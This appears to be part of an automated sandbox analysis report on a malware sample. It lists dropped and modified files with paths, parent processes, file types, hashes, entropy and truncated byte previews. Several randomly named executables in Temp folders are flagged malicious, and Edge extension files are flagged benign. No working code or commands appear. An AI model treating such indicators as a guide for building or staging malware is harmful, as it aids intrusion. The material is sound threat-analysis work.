Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......................(.....f....................@.................................ch....@... ......................................... ....................p..8J..........................H.......................L................................text...............................`..`.data...............................@....rdata..............................@..@.bss.....................................idata...............j..............@....CRT....4............z..............@....tls.................\|..............@....rsrc... ............~..............@..@.reloc..8J...p...L..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ZLOVRFvt\Q13Hi3dPshjDHTjm.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	117248
Entropy (8bit):	6.333836706006904
Encrypted:	false
SSDEEP:	3072:CC9B/Kew7ujs3qleSQZ8Tn0RvFQv/Vh2iwqx4QFQ:CCT/c93qEu0MnFQ
MD5:	E10B81593D71C9C094F3D9D97C65F237
SHA1:	C873F28DA64112FDC499CF3F54E62EBCD3037B8D
SHA-256:	3CB59D3C3117F1659C6CF6EA87A2A0FE5549190F2342F8985042736D9212CB30
SHA-512:	26F5629FB69944CA5C4298BA1743DF0CB89B5230160FE0D396EC6734D59B7440ECCC964DE24A82CD8CFAAB84F89E8C5A5C5D5555B27CD7DAB55853C485217787
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......:.,.~.B.~.B.~.B.5.A.t.B.5.G..B.oA.h.B.oF.l.B.oG.Q.B.5.F.k.B.5.C.u.B.~.C..B..K.}.B......B..@...B.Rich~.B.........PE..L.....ng...........................s.......@....@.......................................@....................................x...............................4...8...p...........................x...@............@..p............................text....).......*.................. ..`.rdata..dx...@...z..................@..@.data...4...........................@....rsrc...............................@..@.reloc..4...........................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ae1ddc1d-2493-4845-9f27-ea1eff5ad925.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 276634
Category:	dropped
Size (bytes):	242356
Entropy (8bit):	7.991210403664034
Encrypted:	true
SSDEEP:	6144:nvRDe2ei//LiBCNBs4vIVeMRhzb6d0X7ayNC:nde2edcbveZRFW0X2yk
MD5:	B73A9C52EF76DD9F575BDCF919B05902
SHA1:	A7ED2E7B5F85D6E502B538FDEBD91343D811E55A
SHA-256:	EF05EE3FA07D46FDDD88DA7760509F7BA658D3A9A5696004404F5A128349B323
SHA-512:	01EB2E462F3EDE544A66C0EEABA9172B668B6EA20D2FEF5A3DD2217E60ED42F70523F194B8901A48CDA3E55E1F65A14BAB2FBE3B34D2CB410B1939B9BB7B4CBC
Malicious:	false
Preview:	...........}.w..._..W.2...W.N&....I..k..'@..Y...c...~K..3vB....#.K.........R.Q.%.4......+.r.M?.\....l....q......Xo\..6.u..q.i.[V_...u..M0...LK......)KcyM.<#....q.$..n<..f5.'..V3oY.v.....k....f.kul...F..4.^..^.(r}.k..[...?.....Y..K.9.VZ..r.c.m..wL.n....L+7.fnY..j.r..v..;P..Xz....~..;....yO3.P.`.]H2u...]...zV....[..m...v;...6.....8.._.l...;NK..W.4...G.....4...>..F.xl.Z..B?.zAcZO.....VI.(}f..j.k..)._...z.72-h.Fj....o.WB..~.gO..5-da+PW....H..n......q......W..5.C.+m..u.~.<.....E.uf?.?...3.......$@+......Z..6..4...&..Mz..W..~...V-}@'.w....t..nx..,.....0b.:QR'..W\|#2b.....3}....wP.5.n..j.&...8q-H#O4.{/..G.....%.@(.&...M.5X,3(.d.L3~[.Yp.^.m../4...OB..u .=.7...:.N.k.m......... T..6!8......._. ..?..<...v...X.F.....<,....01.+...H.'....<...E......O..%P..-HH[M.......1[.7@H....eBJw.\|....x.....i.....i.&.B.A.L.l..T...6..z....4).Y.F.%.>.o.a6{vw.=..F....e..e\|.i.4.n.O-.1.FK.Z+..x@..$...?..C.....t....>...O...n.mN{.R .@.uNG...p.TT......9#=.z.j.....Oa..S.a;.

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	353
Entropy (8bit):	5.315474564241383
Encrypted:	false
SSDEEP:	6:YE83HGMpQspL56s/u83HGM51SH2QJjDrwv/u83HGMz0qu56s/C:Y52Mp9pL56s//2M51L0Dkv//2Mzw56s6
MD5:	41B61773519DB57B218710327D181F11
SHA1:	FB83DAA853CC7DEB0D04D2C719825C744B0463FD
SHA-256:	B65CD08A1C3F9BEE130E8E400DB562BAFF0A14CCF5CC1348BDC623779D627783
SHA-512:	A8F09ACB4730F0AB371402FAD30F5ABE368CF1CAE4E7FF34A6D8D8DC670A08FBDE4389CD2AC1AA19EAFF115DF5B89408A4EBFEBB3328DEB46BA124938EB7A0CD
Malicious:	false
Preview:	{"logTime": "1227/134310", "correlationVector":"jh3AHjghRtPAk/kfGTSdpR","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1227/134310", "correlationVector":"C57D6261F33C47A4AA7E45C67CCC3A64","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1227/134310", "correlationVector":"3KfCoYOmd/RlJX/omfkarq","action":"EXTENSION_UPDATER", "result":""}.

C:\Users\user\AppData\Local\Temp\iAGXBgLW\VBJU2N3euXB4jMxu.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	1796608
Entropy (8bit):	7.732771617449877
Encrypted:	false
SSDEEP:	49152:DLpy1FpByTAiOejkhsE2QEHIwZJ+ARF34iKU2CpyeE1paU:By1FpByTAiOejkhsbQEOARB4iKUZ82
MD5:	E7768D0721ABC2F32508BFDF8E93EAFF
SHA1:	932BDC0FEA88765B8B3C19F954D435795034501C
SHA-256:	14A2ACD49CA035C99CC44620B37195FBAC3EBCB616E85E4B9BCB5D1DA2DF0DDC
SHA-512:	802E61CC187A12BF30C4714AA8CC36B3CBA0664B2D0CDB33CF361BD6C981889AD06F61F33F23E0CF87CB7F281AC59750F81BC5BBDFA3F4583065F05AA0AF2985
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 78%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......................(.....f....................@.................................ch....@... ......................................... ....................p..8J..........................H.......................L................................text...............................`..`.data...............................@....rdata..............................@..@.bss.....................................idata...............j..............@....CRT....4............z..............@....tls.................\|..............@....rsrc... ............~..............@..@.reloc..8J...p...L..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\pAXokq4A\Yau7CFuJ3hfnsdmh.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	modified
Size (bytes):	1796608
Entropy (8bit):	7.732771617449877
Encrypted:	false
SSDEEP:	49152:DLpy1FpByTAiOejkhsE2QEHIwZJ+ARF34iKU2CpyeE1paU:By1FpByTAiOejkhsbQEOARB4iKUZ82
MD5:	E7768D0721ABC2F32508BFDF8E93EAFF
SHA1:	932BDC0FEA88765B8B3C19F954D435795034501C
SHA-256:	14A2ACD49CA035C99CC44620B37195FBAC3EBCB616E85E4B9BCB5D1DA2DF0DDC
SHA-512:	802E61CC187A12BF30C4714AA8CC36B3CBA0664B2D0CDB33CF361BD6C981889AD06F61F33F23E0CF87CB7F281AC59750F81BC5BBDFA3F4583065F05AA0AF2985
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 78%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......................(.....f....................@.................................ch....@... ......................................... ....................p..8J..........................H.......................L................................text...............................`..`.data...............................@....rdata..............................@..@.bss.....................................idata...............j..............@....CRT....4............z..............@....tls.................\|..............@....rsrc... ............~..............@..@.reloc..8J...p...L..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\pAXokq4A\Zo4ZOmQUK81m492h.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	modified
Size (bytes):	1796608
Entropy (8bit):	7.732771617449877
Encrypted:	false
SSDEEP:	49152:DLpy1FpByTAiOejkhsE2QEHIwZJ+ARF34iKU2CpyeE1paU:By1FpByTAiOejkhsbQEOARB4iKUZ82
MD5:	E7768D0721ABC2F32508BFDF8E93EAFF
SHA1:	932BDC0FEA88765B8B3C19F954D435795034501C
SHA-256:	14A2ACD49CA035C99CC44620B37195FBAC3EBCB616E85E4B9BCB5D1DA2DF0DDC
SHA-512:	802E61CC187A12BF30C4714AA8CC36B3CBA0664B2D0CDB33CF361BD6C981889AD06F61F33F23E0CF87CB7F281AC59750F81BC5BBDFA3F4583065F05AA0AF2985
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 78%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......................(.....f....................@.................................ch....@... ......................................... ....................p..8J..........................H.......................L................................text...............................`..`.data...............................@....rdata..............................@..@.bss.....................................idata...............j..............@....CRT....4............z..............@....tls.................\|..............@....rsrc... ............~..............@..@.reloc..8J...p...L..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	modified
Size (bytes):	1796608
Entropy (8bit):	7.732771617449877
Encrypted:	false
SSDEEP:	49152:DLpy1FpByTAiOejkhsE2QEHIwZJ+ARF34iKU2CpyeE1paU:By1FpByTAiOejkhsbQEOARB4iKUZ82
MD5:	E7768D0721ABC2F32508BFDF8E93EAFF
SHA1:	932BDC0FEA88765B8B3C19F954D435795034501C
SHA-256:	14A2ACD49CA035C99CC44620B37195FBAC3EBCB616E85E4B9BCB5D1DA2DF0DDC
SHA-512:	802E61CC187A12BF30C4714AA8CC36B3CBA0664B2D0CDB33CF361BD6C981889AD06F61F33F23E0CF87CB7F281AC59750F81BC5BBDFA3F4583065F05AA0AF2985
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 78%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......................(.....f....................@.................................ch....@... ......................................... ....................p..8J..........................H.......................L................................text...............................`..`.data...............................@....rdata..............................@..@.bss.....................................idata...............j..............@....CRT....4............z..............@....tls.................\|..............@....rsrc... ............~..............@..@.reloc..8J...p...L..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\pAXokq4A\mt5b5cRJXAGEr0y6.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	1796608
Entropy (8bit):	7.732771617449877
Encrypted:	false
SSDEEP:	49152:DLpy1FpByTAiOejkhsE2QEHIwZJ+ARF34iKU2CpyeE1paU:By1FpByTAiOejkhsbQEOARB4iKUZ82
MD5:	E7768D0721ABC2F32508BFDF8E93EAFF
SHA1:	932BDC0FEA88765B8B3C19F954D435795034501C
SHA-256:	14A2ACD49CA035C99CC44620B37195FBAC3EBCB616E85E4B9BCB5D1DA2DF0DDC
SHA-512:	802E61CC187A12BF30C4714AA8CC36B3CBA0664B2D0CDB33CF361BD6C981889AD06F61F33F23E0CF87CB7F281AC59750F81BC5BBDFA3F4583065F05AA0AF2985
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 78%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......................(.....f....................@.................................ch....@... ......................................... ....................p..8J..........................H.......................L................................text...............................`..`.data...............................@....rdata..............................@..@.bss.....................................idata...............j..............@....CRT....4............z..............@....tls.................\|..............@....rsrc... ............~..............@..@.reloc..8J...p...L..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\scoped_dir1892_1738071813\672e5950-b24f-4e1d-be35-82aaaa95515f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir1892_1738071813\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir1892_1738071813\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir1892_1738071813\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir1892_1738071813\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\71625516-e054-41ad-8eec-6e3153865eb7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	154477
Entropy (8bit):	7.835886983924039
Encrypted:	false
SSDEEP:	3072:edP3YiyHk53xr3zWwaFYgn5JFug0HjaHNK7XeSD/r/pLbWNiOAo1np:edPYJHAzyVu7HjacuSD/rBPBOJnp
MD5:	14937B985303ECCE4196154A24FC369A
SHA1:	ECFE89E11A8D08CE0C8745FF5735D5EDAD683730
SHA-256:	71006A5311819FEF45C659428944897184880BCDB571BF68C52B3D6EE97682FF
SHA-512:	1D03C75E4D2CD57EEE7B0E93E2DE293B41F280C415FB2446AC234FC5AFD11FE2F2FCC8AB9843DB0847C2CE6BD7DF7213FCF249EA71896FBF6C0696E3F5AEE46C
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........%0............G.m.}...CG.....a.s.:.S..QiI.fT.k.MdOF.2....D...v`m...M.7'.R.d...8....2..~.<w8!.W..Sg.._A6.(.pC..w.=..!..7h!J...].....3......Kf..k...\|....6./.p.....A....e.1.y.<~Mu..+(v8W........?=.V+.Gb&...u8)...=Qt...... ......x.}.f..&X.SN9e..L....[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...G0E.!....~..E...Au.C.q..y.?2An.a..Zn}. H~.vtgI...o.\|.j.e....p.........".&...........Z]o.H..+..zF.......S.E}@.F..".P`...3......jW....H.H...:..8.......<...........Z.e.>..vV.......J.,/.X.....?.%.....6....m#.u].Z...[.s.M_...J.."9l..l...,\|.....r...QC.....4:....wj.O...5....s.n.%.....y....c.....#F........)gv(..!S

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
